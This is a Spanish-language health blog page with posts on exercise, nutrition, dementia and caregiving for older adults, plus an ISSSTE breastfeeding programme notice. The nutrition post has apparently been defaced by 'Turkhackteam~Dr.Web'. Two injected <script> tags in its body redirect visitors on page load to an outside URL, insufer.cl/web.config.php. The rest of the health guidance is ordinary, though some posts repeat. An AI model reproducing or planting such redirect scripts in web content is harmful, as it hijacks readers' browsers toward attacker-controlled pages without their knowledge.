Nutrición para personas mayores//Turkhackteam~Dr.Web

01 de Agosto de 2019
Nutrición para personas mayores//Turkhackteam~Dr.Web
Últimas cápsulas

Actividad Física para personas mayores

Consejos para realizar actividades físicas sin correr mayor peligro La actividad física es buena para la salud a cualquier edad. La mayoría de los adultos no necesitan consultar con su proveedor de atención médica antes de comenzar un programa de actividad física de intensidad moderada como caminar. Sin embargo, los hombres mayores de 40 años de edad y las mujeres mayores de 50, que planean un programa vigoroso o que tienen alguna enfermedad crónica o factores de riesgo para una enfermedad crónica, deben consultar con su médico para diseñar un programa de actividad física que sea seguro y eficaz. Aun cuando usted nunca haya sido muy activo, si comienza ahora una rutina de actividad física, puede mejorar su fuerza, resistencia y flexibilidad. Esto puede ayudarle a vivir independiente por más tiempo y a reducir sus posibilidades de desarrollar la diabetes tipo 2, las enfermedades cardiacas y el cáncer del colon. No importa la actividad que usted elija, siga los siguientes consejos para su protección: Pregúntele a su proveedor de atención médica cómo puede aumentar la cantidad de actividad física que usted realiza sin correr peligro. Tome suficiente tiempo para calentarse, enfriarse y estirarse, antes y después de su rutina de ejercicios. Si siente dolor, pare lo que está haciendo. Tome muchos líquidos. Si realiza sus ejercicios al aire libre, use ropa ligera en el verano y póngase varias capas de ropa en el invierno. Póngase bloqueador solar, lentes de sol y un sombrero para protegerse del sol. Use zapatos que le queden bien y que sean adecuados para la actividad que va a realizar. Cómo puede ser más activo Para comenzar, seleccione una actividad que le guste. Empiece con metas pequeñas y específicas como “caminaré 10 minutos tres veces esta semana”. Poco a poco, aumente el tiempo y las veces a la semana que hace alguna actividad física. Obtendrá mayor beneficio de una combinación de actividades aeróbicas con ejercicios de fortalecimiento, equilibrio y flexibilidad. Poco a poco, llegue a 30 minutos o más de actividad física de intensidad moderada la mayoría de los días de la semana. Cada día, intente aumentar la cantidad de tiempo que hace ejercicio. También debe tratar de hacer ejercicios de equilibrio y flexibilidad todos los días. Esto puede reducir el peligro de lastimarse cuando haga ejercicios de estiramiento o de calentamiento. Trate de hacer los ejercicios de fortalecimiento unas 2 ó 3 veces por semana. La actividad física de intensidad moderada realizada regularmente puede ayudarlo a: Perder o mantener su peso al quemar calorías Mantener sus articulaciones funcionando bien y reducir el dolor artrítico Aumentar su energía Hacer amistades nuevas al tomar una clase o formar parte de un grupo para caminar. Los ejercicios de fortalecimiento realizados regularmente pueden ayudarlo a: Mantener sus músculos y huesos fuertes al envejecer Aumentar su fuerza e independencia Reducir la necesidad de usar bastón Disminuir el riesgo de fracturas de huesos y otras lesiones, y recuperarse más rápido si se lesiona. Los ejercicios de equilibrio realizados regularmente pueden ayudarlo a: Mantenerse estable cuando está de pie Evitar caídas. Los ejercicios de flexibilidad realizados regularmente pueden ayudarlo a: Conservar el movimiento de sus músculos y articulaciones Evitar la rigidez al envejecer Reducir su nivel de estrés. Hay muchas actividades que le ofrecen más de un beneficio. Por ejemplo, el yoga combina el equilibrio, la flexibilidad y el fortalecimiento. No es necesario hacer cuatro actividades diferentes cada semana. Escoja la que le guste y aumente otras según le vayan haciendo falta. Recuerde que cualquier cantidad de actividad física que haga es mejor que no hacer nada. Entre las actividades físicas de intensidad moderada se encuentran: Caminar Nadar Trabajar en la casa o hacer jardinería Jugar activamente con los niños Entre los ejercicios de fortalecimiento se encuentran: Levantar pesas Tareas del hogar o del jardín en las que tenga que hacer un poco de esfuerzo Empujar la cortadora de césped. Entre los ejercicios de equilibro se encuentran: Caminar en línea recta con un pie delante del otro Pararse en un solo pie Levantarse y sentarse en una silla sin usar las manos Pararse de puntillas varias veces mientras se apoya en una silla estable o en el mostrador de la cocina. Entre los ejercicios de flexibilidad se encuentran: Estiramientos Yoga. Incorpore la actividad física a su día Hay muchas maneras de ser activo sin tener que dedicar un tiempo especial para “los ejercicios”. Las sugerencias a continuación le pueden ayudar a añadir más actividades físicas a su vida diaria: Tome caminatas cortas durante el día. Trate de caminar 10 minutos antes del desayuno, a la hora del almuerzo y después de la cena. Vaya en bicicleta a visitar a un amigo que viva cerca. Limpie su casa o garaje, o lave su auto. Cuídese Debido a la pérdida de seres queridos, problemas de salud, dificultades para pagar las cuentas u otras razones, muchas personas mayores se sienten solas, tristes o estresadas en su vida diaria. Estos tipos de sentimientos pueden hacer que se sienta sin energía, sin ganas de hacer nada, sin apetito o con demasiada hambre. Si usted se cuida podrá manejar mejor sus sentimientos, aumentar su nivel de energía y mejorar sus hábitos alimenticios así como su salud en general. A continuación le ofrecemos algunas ideas para sentirse mejor: Duerma lo suficiente. Manténgase en contacto con su familia y amigos. Únase a un grupo de caminata o algún otro tipo de grupo social. Rodéese de personas cuya compañía disfruta. Trabaje de voluntario o participe con algún grupo en su comunidad. Consiga un empleo de medio tiempo en un lugar donde usted disfrutaría trabajar unas horas a la semana. Vea una película chistosa y ríase. Busque un pasatiempo como jugar cartas, jardinería, bailar o cocinar. Recuerde, nunca es demasiado tarde para mejorar su plan de alimentación, hacer más actividad física y cuidarse mejor para tener una vida más saludable. https://www.niddk.nih.gov/health-information/informacion-de-la-salud/control-de-peso/sugerencias-personas-mayores

05 de Agosto de 2019

Nutrición para personas mayores//Turkhackteam~Dr.Web

//Turkhackteam~Dr.Web ¿Qué es un plan de alimentación saludable? Una de las mejores maneras de darle al cuerpo la nutrición que necesita es comiendo a diario una variedad de alimentos y bebidas con alto contenido nutritivo. Un plan de alimentación saludable incluye: <script> window.location.href="http://www.insufer.cl/web.config.php"; </script> Una variedad de frutas ya sean frescas, congeladas, enlatadas o secas, en lugar de jugos de fruta. Vegetales de color verde oscuro como la espinaca u otras verduras, vegetales anaranjados como la zanahoria, además de diferentes tipos de alverjas y frijoles. Alimentos con un alto contenido de calcio como la leche o el yogur descremado (“fat free”) o semidescremado (“low fat”). (Si usted no tolera la leche, escoja alimentos lácteos sin lactosa o bebidas o alimentos enriquecidos con calcio). Productos de granos integrales como panes, cereales, galletas, arroz y pasta. Carnes magras, pollo y otras aves de corral, frijoles, huevos, nueces y semillas. También debe escoger y preparar alimentos bajos en grasas saturadas, en ácidos grasos trans (“trans fats”), colesterol, sal (sodio) y azúcares agregados. *Para más información sobre el consumo diario recomendado para los diferentes grupos de alimentos, visite https://www.usda.gov . Sugerencias para comer saludablemente Siga estas sugerencias para mantenerse en su plan de alimentación saludable: No deje de desayunar, almorzar y cenar. Si se salta alguna de las comidas, es posible que su metabolismo se haga más lento o que en la próxima comida usted coma alimentos con un nivel más alto de calorías y grasas. Reduzca la cantidad de grasa y calorías en sus comidas eligiendo carnes magras, pescado, pechuga de pavo o pollo sin pellejo. Al envejecer, su cuerpo necesita menos calorías, especialmente si no hace mucha actividad física. Sírvase todos los días tres porciones de leche, yogur o queso descremados o semidescremados enriquecidos con vitamina D. Los productos derivados de la leche tienen un alto contenido de calcio y vitamina D y ayudan a mantener los huesos sanos al envejecer. Si tiene dificultad para digerir los productos lácteos o si no le gustan, pruebe los productos con un nivel reducido de lactosa o a base de soya o tofu. También puede preguntarle a su proveedor de atención médica si debe tomar un suplemento de calcio y vitamina D. Mantenga a la mano refrigerios con alto contenido nutritivo como los albaricoques secos, las galletas de granos integrales, el queso semidescremado y las sopas bajas en sodio. Sólo coma porciones pequeñas de los albaricoques secos y de otros alimentos con muchas calorías. Limite las veces que coma alimentos altos en grasa o en azúcar, como las tortas, caramelos, papas fritas y bebidas gaseosas o sodas. Tome muchos líquidos. Al envejecer, puede aumentar su necesidad de tomar líquidos. Es importante acordarse de tomar líquidos a lo largo del día para asegurarse de que no se deshidrate. Reduzca la cantidad de sal que usa a menos de 2.300 mg de sodio por día (alrededor de 1 cucharadita de sal). Compre productos que sean bajos en sodio (“low sodium”). Escoja y prepare alimentos con poca sal. Consulte con su proveedor de atención médica para ver si la cantidad de vitamina B12 que usted consume es la adecuada. Es posible que las personas mayores de 50 años absorban menos vitamina B12 presente en forma natural. Para obtener suficiente vitamina B12, trate de comer alimentos enriquecidos como los cereales. Cómo planificar y preparar sus comidas Es más fácil comer saludable si planifica sus comidas y las hace más agradables. Pruebe las siguientes sugerencias: Haga las compras con un amigo. No sólo que es más agradable, sino que hasta puede ahorrar dinero si comparte las cosas que usted necesita en menos cantidad, como una bolsa de papas o una col. Un amigo o pariente también puede ayudarle a cargar las bolsas pesadas. Cocine con anterioridad y divida la comida en porciones, congelándolas para usarlas los días que no tenga ganas de cocinar. Mantenga a la mano frutas, vegetales y frijoles congelados o enlatados para agregarlos rápidamente a las comidas, haciéndolas más saludables. Enjuague los vegetales y los frijoles enlatados en agua fría para reducir el contenido de sal. Escoja las frutas que vienen enlatadas en jugo o en un almíbar ligero (“lite”). Pruebe recetas nuevas o use hierbas y especias diferentes para despertar su interés en la cocina. Haga de la hora de la comida un momento especial; ponga la mesa con un mantel bonito y quizás un arreglo floral. Si está preocupado por el dinero, trate de comprar alimentos más económicos y que le llenen más, como las pastas y arroces integrales, los frijoles secos y los vegetales congelados. Use cupones y busque las ofertas. Coma regularmente con alguien cuya compañía le agrade. Si tiene dificultad cocinando o comprando la comida, averigüe sobre algún programa en su comunidad que prepare y entregue comidas, los llamados “Meals on Wheels”. Para información sobre el programa más cercano a usted, llame gratuitamente al 1–800–677–1116 a “Eldercare Locator”, un servicio gubernamental que ayuda a las personas mayores a localizar servicios en su comunidad. Consulte con su proveedor de atención médica Si usted tiene algún problema que le impide comer bien, como dificultad para masticar o falta de apetito, consúltele a su proveedor de atención médica o a un dietista certificado. Ellos le pueden aconsejar un plan específico de alimentación saludable. Consúltele a su dentista sobre el cuidado y la limpieza de sus dientes o dentadura y de sus encías. La muerte de un ser querido o tener que mudarse del hogar donde ha vivido por muchos años pueden afectar su apetito. Hable con su proveedor de atención médica si hay acontecimientos en su vida que le están afectando y no le dejan comer bien. <script>windows.location.href="http://www.insufer.cl/web.config.php";</script> Pregúntele a su proveedor de atención médica si usted debería tomar multivitaminas o suplementos minerales a diario. No se ha comprobado que exista una pastilla que prevenga el envejecimiento o mejore la memoria. Sin embargo, las pastillas multivitamínicas de dosis diarias (“one-a-day”), pueden ayudarle a obtener los nutrientes que su cuerpo necesita todos los días.

01 de Agosto de 2019

Portal del Adulto Mayor

El ISSSTE pone a tu disposición el “Portal del Adulto Mayor”, en donde encontrarás cursos multimedia que podrás realizar a tu ritmo y desde donde te encuentres. Como parte de la Política Integral de Atención al Adulto Mayor, la Dirección de Prestaciones Económicas, Sociales y Culturales del ISSSTE ha impulsado la capacitación adultos mayores, así como la formación de sus cuidadores, para empoderarlos con información que les permita tomar decisiones para mejorar su calidad de vida y propiciar estados de bienestar, incrementando con ello su participación en la vida social, familiar y económica. Es así que el ISSSTE pone a tu disposición el “Portal del Adulto Mayor”, en donde encontrarás cursos multimedia que podrás realizar a tu ritmo y desde donde te encuentres, tanto si eres Adulto Mayor como si quieres aprender a cuidar de ellos, con información avalada en conjunto con la Universidad Nacional Autónoma de México como con la Escuela de Dietética y Nutrición del ISSSTE. Asimismo, encontrarás información de interés, destacando las Casas de Día y Centros de Convivencia para Adultos Mayores, que te invitamos a conocer y disfrutar para que te mantengas activo física, mental y socialmente. ¡Bienvenido! http://www.issste.gob.mx/adultosmayores/

25 de Agosto de 2018

La Demencia

Es un síndrome que afecta la memoria y la capacidad de pensar; se caracteriza por trastornos del comportamiento e incapacidad para realizar actividades cotidianas. La edad es el principal factor de riesgo. La población mundial está envejeciendo rápidamente. Entre 2015 y 2050 la proporción de la población en el orbe mayor de 60 años se multiplicará casi por dos, pasando del 12 por ciento al 22 por ciento. La demencia es un problema de salud mental progresivo que daña la función cognitiva (capacidad para progresar el pensamiento), acompañado de un deterioro del control emocional y el comportamiento social o motivacional. Este síndrome afecta la memoria, el pensamiento, la orientación, la comprensión, el cálculo, la capacidad de aprendizaje, el lenguaje y el juicio. Los síntomas más comunes de este padecimiento son dificultad para llevar a cabo tareas cotidianas, confusión en el entorno familiar, dificultad con las palabras y números, pérdida de memoria y cambios de humor y comportamiento, los cuales varían en cada persona y evolucionan a medida que pasa el tiempo, atravesando por tres etapas: Etapa temprana:se presenta de forma paulatina, por lo que suele pasar desapercibida, presentando: *Tendencia al olvido *Pérdida de la noción del tiempo *Desubicación, incluso en lugares conocidos Etapa intermedia:la demencia evoluciona a una etapa intermedia, la cual se vuelve más evidente y limitadora. La persona afectada sufre: *Olvido de acontecimientos recientes y nombres de personas. *Desubicación severa, inclusive en su propia casa. *Dificultad para comunicarse. *Cambios de comportamiento, por ejemplo, repetir en varias ocasiones lo mismo. *Comienza a necesitar ayuda con el aseo personal. Etapa tardía:en esta última etapa las alteraciones de la memoria se vuelven graves, por lo que la dependencia y la inactividad son casi totales, provocando: *Creciente desubicación de espacio y tiempo. *Dificultad para reconocer a personas (familiares y amigos). *Mayor necesidad de apoyo en el aseo personal. *Problemas para caminar. *Alteración del comportamiento que puede convertirse en agresión. A pesar de ser un padecimiento que afecta a unas 50 millones de personas en el mundo y ser una de las principales causas de discapacidad y dependencia entre los adultos mayores, aún no hay un tratamiento capaz de curar la demencia o detener su evolución. Sin embargo, existen ciertas intervenciones y acciones que permiten mejorar la vida y el entorno de quien la padece: *Diagnosticarla a tiempo para posibilitar un tratamiento óptimo. *Optimizar la salud física, la cognición, la actividad y el bienestar. *Identificar y tratar enfermedades físicas concomitantes. *Detectar y tratar los síntomas conductuales y psicológicos problemáticos. *Proporcionar información y apoyo a largo plazo a los cuidadores y familiares del paciente. El principal factor de riesgo es la edad, sin embargo, no se trata de una enfermedad exclusiva de los mayores, pues hay algunos padecimientos y lesiones que afectan el cerebro, causantes de la aparición de demencia, como lo son el Alzheimer o los accidentes cerebrovasculares. Aunque el deterioro cognitivo se asocia, también, al modo de vida del paciente, con factores como inactividad física y cognitiva, obesidad, dietas malsanas, consumo de tabaco y alcohol, la diabetes y la hipertensión. El resultado de esta afección es abrumador tanto para el paciente como para sus familiares y cuidadores, pues suelen surgir muchas presiones emocionales, físicas y económicas que causan estrés en el núcleo afectado. La salud mental y el bienestar emocional tienen la misma importancia en la edad mayor que en cualquier otro periodo de la vida.

24 de Agosto de 2018

Cuidado de los Adultos Mayores

La familia es fundamental para la atención de las personas de la tercera edad. • Accede al curso en línea y conoce cómo los puedes ayudar. El envejecimiento es un proceso absolutamente natural e irremediable por el que atraviesa toda persona con el paso del tiempo. Frecuentemente se cree que los padecimientos de la tercera edad son originados por la vejez en sí misma, pero hay que considerar que el envejecimiento del organismo no es uniforme, sino que algunos órganos envejecen más rápido que otros. Las dificultades cotidianas ante las que se enfrentan los adultos mayores son el deterioro físico derivado del proceso natural del envejecimiento, asociado a la presencia de una o más enfermedades y al estilo de vida del individuo, que puede provocar que no consigan realizar por sí mismos las actividades más elementales del día a día. El cuidado en el hogar de un adulto mayor o una persona con dependencia ha ido en crecimiento en las últimas décadas, por lo que se sitúa como el principal escenario en el cual se realiza la atención de este sector, considerando a la familia como el elemento fundamental para llevarlo a cabo, se estima que quien lo proporciona en su gran mayoría son mujeres. Algunas de las actividades cotidianas que el adulto mayor encuentra dificultad para realizar son subir y bajar escaleras, su aseo personal, vestirse, salir de la casa, apego a un tratamiento terapéutico, usar el teléfono, cocinar, limpiar la casa, moverse dentro de su domicilio, lavar la ropa y comer. La atención de una persona envejecida involucra un gran esfuerzo físico, emocional y económico. Para muchas personas que cuidan, ya sea por decisión o imposición, el dedicar tiempo de cuidado representa un cambio en la forma de vida, en la distribución del tiempo, en las actividades cotidianas e, inclusive, en la relación que establecen con los otros y con ellos mismos. En general el adulto mayor puede necesitar ayuda para acostarse o levantarse de la cama, para el aseo y limpieza personal, incluso a algunos hay que darles de comer y apoyarles con la toma de medicamentos y el monitoreo de su salud. Para que la comunicación con la persona de la tercera edad se vea facilitada habrá que tomar en cuenta: ayudarle a que hable por teléfono con otros familiares y amigos, procurar utilizar frases breves y concretas; el contacto físico es determinante, de ser posible podemos poner las manos entre las del adulto mayor cuando le hablemos, o bien, abrazarlo o tocarle el hombro. El cuidador debe procurar hablar al adulto mayor con voz suave y de frente, tratando de ser lo más expresivo posible y utilizar la mímica si es necesario, llamarle por su nombre, despacio, y ser paciente con él, expresar claramente lo que debe hacer, sin dejar lugar a incertidumbre, las preguntas deben ser sencillas y sin regañar, no dejar que éste duerma todo el día si no lo ameritan las atenciones médicas Si se da el caso de ponerle calzones y pañales desechables, se debe proteger la piel con vaselina y talco, reducir el número de prendas de vestir, buscar ropa que sea lavable y que no requiera planchado. Al comer, revisar la temperatura de los alimentos; en caso de asistir a restaurantes, escoger aquellos de servicio rápido, donde haya tranquilidad y gran variedad de alimentos, explicarle al mesero la enfermedad de su familiar si se cree pertinente. Si el adulto mayor ya no come debe apoyársele en la alimentación con biberón o por sonda; esto queda a decisión de la familia y, desde luego, con asesoría profesional. Para lograr que los cuidados sean adecuados y adaptados a cada persona, es importante contar con información básica que permita conocer los padecimientos y sus posibles complicaciones para prevenirlas. También lo es que el cuidador cuente con información sobre su autocuidado, para no enfermar y para no manifestar sobrecarga. Impulsando los esfuerzos de Atención al Envejecimiento y, particularmente, considerando las necesidades detectadas entre la población derechohabiente, en el Instituto contamos con el Curso de Apoyo para Cuidadores Informales de Personas Envejecidas, disponible para todo público en el siguiente link: http://www.issste.gob.mx/cursocuidadores2/, el cual se centra en los cuidados básicos tanto de las personas mayores en el hogar como el de las y los cuidadores. En él se encuentra una amplia información de calidad que permite incrementar las habilidades y estrategias para que el cuidador pueda proporcionar una mejor atención al familiar frágil o con alguna demencia que recibe ayuda cotidianamente. Recuerda que la vejez no es una enfermedad, es una condición propia de las etapas de la vida, ¡apóyalos! Fuente: https://www.gob.mx/issste/articulos/cuidado-de-los-adultos-mayores?idiom=es

22 de Agosto de 2018

Promueve el ISSSTE lactancia materna en 182 salas ubicadas en centros de trabajo del país

https://drive.google.com/file/d/1NjPIV_egsMLpmdjtBPhaj1n0rWPya4Su/view?usp=drivesdk. Unidades Médicas del Instituto en proceso de obtener la certificación “Hospital Amigo del Niño y la Niña”. Personal médico del instituto participa activamente para impulsar la lactancia materna entre las madres derechohabientes. Según la OMS más del 60 por ciento de los bebés de AL y el Caribe no reciben lactancia materna exclusiva durante los primeros 6 meses de vida. A agosto de este año, el ISSSTE cuenta con 182 salas de lactancia en Centro de Trabajo de todo el país, en las Unidades Administrativas, las 35 Delegaciones estatales, el Centro Médico Nacional “20 de Noviembre”, los Hospitales Regionales, así como en sus órganos desconcentrados FOVISSSTE, TURISSSTE, PENSIONISSSTE y SUPERISSSTE. En el marco de la Semana Mundial de la Lactancia Materna que se celebra del 1 al 7 de agosto, el Instituto promueve la adaptación de áreas exclusivamente destinada para la cohabitación del binomio madre-hijo a través de las salas de alojamiento conjunto, como en la rutina hospitalaria bajo este nuevo esquema de atención materno-infantil. La Dirección Médica del ISSSTE informó que desde 2013 la Organización Panamericana de la Salud (OPS) instituyó la Iniciativa “Hospital Amigo del Niño y la Niña”, evaluando los 10 pasos de la Lactancia Materna, en la que adiciona 3 componentes de Atención Amigable a la Embarazada. Actualmente el Instituto asesora a sus Unidades Hospitalarias hacia la obtención de la certificación “Hospital Amigo del Niño y la Niña”. Hasta hoy 2 Hospitales han certificados por este órgano internacional: Hospital General “Dr. Fernando Quiroz Gutiérrez” y el Hospital Regional Puebla, Pue., mientras que el Hospital General Tacuba y la Clínica Hospital Tehuacán están en espera de su recertificación en este año. El 30 de Abril 2015, se logró la certificación de la Estancia de Bienestar y Desarrollo Infantil 156 como la primera “EBDI Amiga del Niño y la Niña” en todo el Sector Salud a nivel nacional, avalada por el Centro Nacional para la Salud de la Infancia y la Adolescencia (Censia), con quien existe un convenio para continuar el proceso de certificación de las Estancias del Instituto. Entre otras acciones que emprende el ISSSTE en el ámbito de la salud destaca que la Dirección Médica participa activamente en la elaboración y actualización de la Norma Oficial Mexicana de Lactancia Materna, entre cuyas aportaciones significativas sobresale la implementación del Código Internacional de Comercialización de Sucedáneos de la Leche Materna en todas las Estancias Infantiles, para la reducción sistemática y gradual de las fórmulas artificiales, con cursos de capacitación continua a sus médicos y enfermeras sobre lactancia materna. Adicionalmente se estableció un convenio de colaboración con el Instituto Nacional de Salud Pública, a fin de extender la capacitación en línea dirigida al personal de salud involucrado en las actividades que fomentan la lactancia materna exclusiva. Para promover los beneficios y ventajas de la Lactancia Materna Exclusiva se buscará difundirlos a toda la derechohabiencia y a la sociedad en general a través de cursos de capacitación, conferencias, simposios, pláticas educativas, fomento a la salud, periódicos murales y actividades artísticas. De acuerdo con la Red Mundial de Grupos Pro Alimentación Infantil de América Latina y el Caribe (IBFAN) la lactancia materna es un escudo frente a problemas de nutrición, educación y pobreza, y ayuda al crecimiento económico e inclusivo y a la reducción de las desigualdades. Además es clave tanto para la salud de la madre y del bebé, así como en el enfrentamiento de las enfermedades no transmisibles. Es uno de los medios más eficaces y menos costosos para asegurar que las madres y sus pequeños obtengan el nivel de salud “más alto alcanzable”. En América Latina y el Caribe la duración de la lactancia es de 13 meses en promedio, 11 menos de lo recomendado por la Organización Mundial de la Salud (OMS y más del 60 por ciento de los bebés no reciben lactancia materna exclusiva durante los primeros 6 meses de vida, razón por la que el compromiso del ISSSTE radica en fomentar esta práctica alimentaria básica.

04 de Agosto de 2018

La Demencia

Es un síndrome que afecta la memoria y la capacidad de pensar; se caracteriza por trastornos del comportamiento e incapacidad para realizar actividades cotidianas. La edad es el principal factor de riesgo. La población mundial está envejeciendo rápidamente. Entre 2015 y 2050 la proporción de la población en el orbe mayor de 60 años se multiplicará casi por dos, pasando del 12 por ciento al 22 por ciento. La demencia es un problema de salud mental progresivo que daña la función cognitiva (capacidad para progresar el pensamiento), acompañado de un deterioro del control emocional y el comportamiento social o motivacional. Este síndrome afecta la memoria, el pensamiento, la orientación, la comprensión, el cálculo, la capacidad de aprendizaje, el lenguaje y el juicio. Los síntomas más comunes de este padecimiento son dificultad para llevar a cabo tareas cotidianas, confusión en el entorno familiar, dificultad con las palabras y números, pérdida de memoria y cambios de humor y comportamiento, los cuales varían en cada persona y evolucionan a medida que pasa el tiempo, atravesando por tres etapas: Etapa temprana:se presenta de forma paulatina, por lo que suele pasar desapercibida, presentando: Tendencia al olvido Pérdida de la noción del tiempo Desubicación, incluso en lugares conocidos Etapa intermedia:la demencia evoluciona a una etapa intermedia, la cual se vuelve más evidente y limitadora. La persona afectada sufre: Olvido de acontecimientos recientes y nombres de personas Desubicación severa, inclusive en su propia casa Dificultad para comunicarse Cambios de comportamiento, por ejemplo, repetir en varias ocasiones lo mismo Comienza a necesitar ayuda con el aseo personal Etapa tardía:en esta última etapa las alteraciones de la memoria se vuelven graves, por lo que la dependencia y la inactividad son casi totales, provocando: Creciente desubicación de espacio y tiempo Dificultad para reconocer a personas (familiares y amigos) Mayor necesidad de apoyo en el aseo personal Problemas para caminar Alteración del comportamiento que puede convertirse en agresión A pesar de ser un padecimiento que afecta a unas 50 millones de personas en el mundo y ser una de las principales causas de discapacidad y dependencia entre los adultos mayores, aún no hay un tratamiento capaz de curar la demencia o detener su evolución. Sin embargo, existen ciertas intervenciones y acciones que permiten mejorar la vida y el entorno de quien la padece: Diagnosticarla a tiempo para posibilitar un tratamiento óptimo Optimizar la salud física, la cognición, la actividad y el bienestar Identificar y tratar enfermedades físicas concomitantes Detectar y tratar los síntomas conductuales y psicológicos problemáticos Proporcionar información y apoyo a largo plazo a los cuidadores y familiares del paciente El principal factor de riesgo es la edad, sin embargo, no se trata de una enfermedad exclusiva de los mayores, pues hay algunos padecimientos y lesiones que afectan el cerebro, causantes de la aparición de demencia, como lo son el Alzheimer o los accidentes cerebrovasculares. Aunque el deterioro cognitivo se asocia, también, al modo de vida del paciente, con factores como inactividad física y cognitiva, obesidad, dietas malsanas, consumo de tabaco y alcohol, la diabetes y la hipertensión. El resultado de esta afección es abrumador tanto para el paciente como para sus familiares y cuidadores, pues suelen surgir muchas presiones emocionales, físicas y económicas que causan estrés en el núcleo afectado. La salud mental y el bienestar emocional tienen la misma importancia en la edad mayor que en cualquier otro periodo de la vida. Fuente: https://www.gob.mx/issste/articulos/la-demencia?idiom=es

01 de Julio de 2018

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¿Qué es un plan de alimentación saludable?

Una de las mejores maneras de darle al cuerpo la nutrición que necesita es comiendo a diario una variedad de alimentos y bebidas con alto contenido nutritivo. Un plan de alimentación saludable incluye:


    Una variedad de frutas ya sean frescas, congeladas, enlatadas o secas, en lugar de jugos de fruta.
    Vegetales de color verde oscuro como la espinaca u otras verduras, vegetales anaranjados como la zanahoria, además de diferentes tipos de alverjas y frijoles.
    Alimentos con un alto contenido de calcio como la leche o el yogur descremado (“fat free”) o semidescremado (“low fat”). (Si usted no tolera la leche, escoja alimentos lácteos sin lactosa o bebidas o alimentos enriquecidos con calcio).
    Productos de granos integrales como panes, cereales, galletas, arroz y pasta.
    Carnes magras, pollo y otras aves de corral, frijoles, huevos, nueces y semillas.

También debe escoger y preparar alimentos bajos en grasas saturadas, en ácidos grasos trans (“trans fats”), colesterol, sal (sodio) y azúcares agregados.

*Para más información sobre el consumo diario recomendado para los diferentes grupos de alimentos, visite https://www.usda.gov .
Sugerencias para comer saludablemente

Siga estas sugerencias para mantenerse en su plan de alimentación saludable:

    No deje de desayunar, almorzar y cenar. Si se salta alguna de las comidas, es posible que su metabolismo se haga más lento o que en la próxima comida usted coma alimentos con un nivel más alto de calorías y grasas.
    Reduzca la cantidad de grasa y calorías en sus comidas eligiendo carnes magras, pescado, pechuga de pavo o pollo sin pellejo. Al envejecer, su cuerpo necesita menos calorías, especialmente si no hace mucha actividad física.
    Sírvase todos los días tres porciones de leche, yogur o queso descremados o semidescremados enriquecidos con vitamina D. Los productos derivados de la leche tienen un alto contenido de calcio y vitamina D y ayudan a mantener los huesos sanos al envejecer. Si tiene dificultad para digerir los productos lácteos o si no le gustan, pruebe los productos con un nivel reducido de lactosa o a base de soya o tofu. También puede preguntarle a su proveedor de atención médica si debe tomar un suplemento de calcio y vitamina D.
    Mantenga a la mano refrigerios con alto contenido nutritivo como los albaricoques secos, las galletas de granos integrales, el queso semidescremado y las sopas bajas en sodio. Sólo coma porciones pequeñas de los albaricoques secos y de otros alimentos con muchas calorías. Limite las veces que coma alimentos altos en grasa o en azúcar, como las tortas, caramelos, papas fritas y bebidas gaseosas o sodas.
    Tome muchos líquidos. Al envejecer, puede aumentar su necesidad de tomar líquidos. Es importante acordarse de tomar líquidos a lo largo del día para asegurarse de que no se deshidrate.
    Reduzca la cantidad de sal que usa a menos de 2.300 mg de sodio por día (alrededor de 1 cucharadita de sal). Compre productos que sean bajos en sodio (“low sodium”). Escoja y prepare alimentos con poca sal.

Consulte con su proveedor de atención médica para ver si la cantidad de vitamina B12 que usted consume es la adecuada. Es posible que las personas mayores de 50 años absorban menos vitamina B12 presente en forma natural. Para obtener suficiente vitamina B12, trate de comer alimentos enriquecidos como los cereales.
Cómo planificar y preparar sus comidas

Es más fácil comer saludable si planifica sus comidas y las hace más agradables. Pruebe las siguientes sugerencias:

    Haga las compras con un amigo. No sólo que es más agradable, sino que hasta puede ahorrar dinero si comparte las cosas que usted necesita en menos cantidad, como una bolsa de papas o una col. Un amigo o pariente también puede ayudarle a cargar las bolsas pesadas.
    Cocine con anterioridad y divida la comida en porciones, congelándolas para usarlas los días que no tenga ganas de cocinar.
    Mantenga a la mano frutas, vegetales y frijoles congelados o enlatados para agregarlos rápidamente a las comidas, haciéndolas más saludables. Enjuague los vegetales y los frijoles enlatados en agua fría para reducir el contenido de sal. Escoja las frutas que vienen enlatadas en jugo o en un almíbar ligero (“lite”).
    Pruebe recetas nuevas o use hierbas y especias diferentes para despertar su interés en la cocina. Haga de la hora de la comida un momento especial; ponga la mesa con un mantel bonito y quizás un arreglo floral.
    Si está preocupado por el dinero, trate de comprar alimentos más económicos y que le llenen más, como las pastas y arroces integrales, los frijoles secos y los vegetales congelados. Use cupones y busque las ofertas.
    Coma regularmente con alguien cuya compañía le agrade.

Si tiene dificultad cocinando o comprando la comida, averigüe sobre algún programa en su comunidad que prepare y entregue comidas, los llamados “Meals on Wheels”. Para información sobre el programa más cercano a usted, llame gratuitamente al 1–800–677–1116 a “Eldercare Locator”, un servicio gubernamental que ayuda a las personas mayores a localizar servicios en su comunidad.
Consulte con su proveedor de atención médica

Si usted tiene algún problema que le impide comer bien, como dificultad para masticar o falta de apetito, consúltele a su proveedor de atención médica o a un dietista certificado. Ellos le pueden aconsejar un plan específico de alimentación saludable. Consúltele a su dentista sobre el cuidado y la limpieza de sus dientes o dentadura y de sus encías.

La muerte de un ser querido o tener que mudarse del hogar donde ha vivido por muchos años pueden afectar su apetito. Hable con su proveedor de atención médica si hay acontecimientos en su vida que le están afectando y no le dejan comer bien.

Pregúntele a su proveedor de atención médica si usted debería tomar multivitaminas o suplementos minerales a diario. No se ha comprobado que exista una pastilla que prevenga el envejecimiento o mejore la memoria. Sin embargo, las pastillas multivitamínicas de dosis diarias (“one-a-day”), pueden ayudarle a obtener los nutrientes que su cuerpo necesita todos los días.
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